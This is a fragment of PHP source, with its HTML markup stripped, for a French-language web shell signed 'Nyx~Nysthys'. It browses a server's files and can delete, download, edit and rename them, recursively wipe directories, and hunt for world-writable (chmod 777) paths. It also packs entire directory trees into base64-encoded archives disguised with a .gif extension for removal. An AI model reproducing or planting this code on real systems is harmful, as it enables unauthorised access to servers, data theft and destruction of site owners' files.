"; } while ($result = readdir($repertoire)) { $c1="201220";$c2="002010"; if(is_file($dir."/".$result)) { if($num_f % 2 ==0) { $style="style='background-color: #$c1;'"; }else{ $style="style='background-color: #$c2;'"; } $couleur=base_convert(substr($result,-4),36,15); $miseenpage2 .= ""; $miseenpage2 .= ""; $miseenpage2 .= ""; $miseenpage2 .= ""; $miseenpage2 .= ""; $miseenpage2 .= ""; $miseenpage2 .= ""; $miseenpage2 .= ""; $miseenpage2 .= ""; $miseenpage2 .= ""; $miseenpage2 .= ""; $miseenpage2 .= "\n\n"; $num_f++; } else { if($num_d % 2 ==0) { $style="style='background-color: #$c1;'"; }else{ $style="style='background-color: #$c2;'"; } $miseenpage .= ""; $miseenpage .= ""; $miseenpage .= ""; $miseenpage .= ""; $miseenpage .= ""; $miseenpage .= ""; $miseenpage .= ""; $miseenpage .= ""; $miseenpage .= ""; $miseenpage .= ""; $miseenpage .= ""; $miseenpage .= "\n"; $num_d++; if($lvl!=0 && $result!="." && $result!="..") { $miseenpage .=rec($dir."/".$result,$lvl-1,$ou+1); } } } closedir($repertoire); return $miseenpage.$miseenpage2."
>$result".fper(fileperms($dir."/".$result))."Supprimer".number_format(filesize($dir."/".$result))." Octets".date("d/m/Y H:i:s" , filemtime($dir."/".$result))." TelechargerEditerRenommerDepackter
>$result".fper(fileperms($dir."/".$result))."Supprimer-r".date("d/m/Y H:i:s" , filemtime($dir."/".$result))." RenommerEnpackter
"; } function cdir($dir) { $dir=str_replace( "../", "" , $dir); $dir=str_replace( "//", "/" , $dir); $dir=str_replace( "///", "/" , $dir); $dir_lt=explode("/", $dir); $dir_c="";$a=0; for($a=0;$a!=sizeof($dir_lt);$a++) { if(!strrchr($dir_lt[$a], ".")) { $dir_c.=$dir_lt[$a]."/"; if(!file_exists($dir_c)) { mkdir($dir_c); } } } } function dl_rep($dir,$lvl,$gz_mode,$nm,$des) { $repertoire=opendir($dir); while ($result = readdir($repertoire)) { if(is_file($dir."/".$result)) { $fp=fopen($dir."/".$result,"r"); $taille=filesize($dir."/".$result); $buf=fread($fp,$taille); fclose($fp); $num=1; while(file_exists("$des$nm$num.gif")) { $num++; } $num--; if(file_exists("$des$nm$num.gif") ) { if(filesize("$des$nm$num.gif")>50000000) { $num++; } } if($gz_mode==1) { $fp2=gzopen("$des$nm$num.gif","a"); //gzwrite($fp2,"--**//**--//**--//**--//**--"); gzwrite($fp2,$dir."/".$result); gzwrite($fp2,"/*/*/*/*/*/*"); gzwrite($fp2,base64_encode($buf)."\n"); gzclose($fp2); }else{ $fp2=fopen("$des$nm$num.gif","a"); //fwrite($fp2,"--**//**--//**--//**--//**--"); fwrite($fp2,$dir."/".$result); fwrite($fp2,"/*/*/*/*/*/*"); fwrite($fp2,base64_encode($buf)."\n"); fclose($fp2); } } else { if($lvl!=0 && $result!="." && $result!="..") { dl_rep($dir."/".$result,$lvl-1,$gz_mode,$nm,$des); } } } closedir($repertoire); } function del_r($dir) { $repertoire=opendir($dir); while ($result = readdir($repertoire)) { if(is_file($dir."/".$result)) { unlink($dir."/".$result); } else { if($result!="." && $result!="..") { del_r($dir."/".$result); //rmdir($dir."/".$result); } } } closedir($repertoire); rmdir($dir); } function fper($mode) { if ( ($mode & 0xC000) == 0xC000) { $type = 's'; } elseif ( ($mode & 0x4000) == 0x4000) { $type = 'd'; } elseif ( ($mode & 0xA000) == 0xA000) { $type = 'l'; } elseif ( ($mode & 0x8000) == 0x8000) { $type = '-'; } elseif ( ($mode & 0x6000) == 0x6000) { $type = 'b'; } elseif ( ($mode & 0x2000) == 0x2000) { $type = 'c'; } elseif ( ($mode & 0x1000) == 0x1000) { $type = 'p'; } else { $type = '?'; } $owner['read'] = ($mode & 00400) ? 'r' : '-'; $owner['write'] = ($mode & 00200) ? 'w' : '-'; $owner['execute'] = ($mode & 00100) ? 'x' : '-'; $group['read'] = ($mode & 00040) ? 'r' : '-'; $group['write'] = ($mode & 00020) ? 'w' : '-'; $group['execute'] = ($mode & 00010) ? 'x' : '-'; $world['read'] = ($mode & 00004) ? 'r' : '-'; $world['write'] = ($mode & 00002) ? 'w' : '-'; $world['execute'] = ($mode & 00001) ? 'x' : '-'; if ($mode & 0x800 ) $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S'; if ($mode & 0x400 ) $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S'; if ($mode & 0x200 ) $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T'; return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute']; } function code_a($var) { return urlencode(base64_encode($var)); } function decode_a($var) { return base64_decode(urldecode($var)); } function clean_value($val) { if ($val == "") { return ""; } $val = str_replace( " " , " " , $val ); $val = str_replace( "&" , "&" , $val ); $val = str_replace( "" , "-->" , $val ); $val = preg_replace( "/
Renommer/Deplacer:
"; $miseenpage .= "
"; $miseenpage .= "
Enpackter: vers (./=location du script)
lvl Gz
"; $miseenpage .= "
"; $miseenpage .= "
Depackter: Destination Gz
"; $miseenpage .= "
"; $miseenpage .= "
Trouver avec chmod777 dans
"; $miseenpage .= "
"; $miseenpage .= ""; //$miseenpage .= $miseenpage_3.$miseenpage_2; $miseenpage .= rec($dir,$lvl,0,$general_inc); echo ""; echo "
$miseenpage

\n\nNyx~Nysthys
\n

"; ?>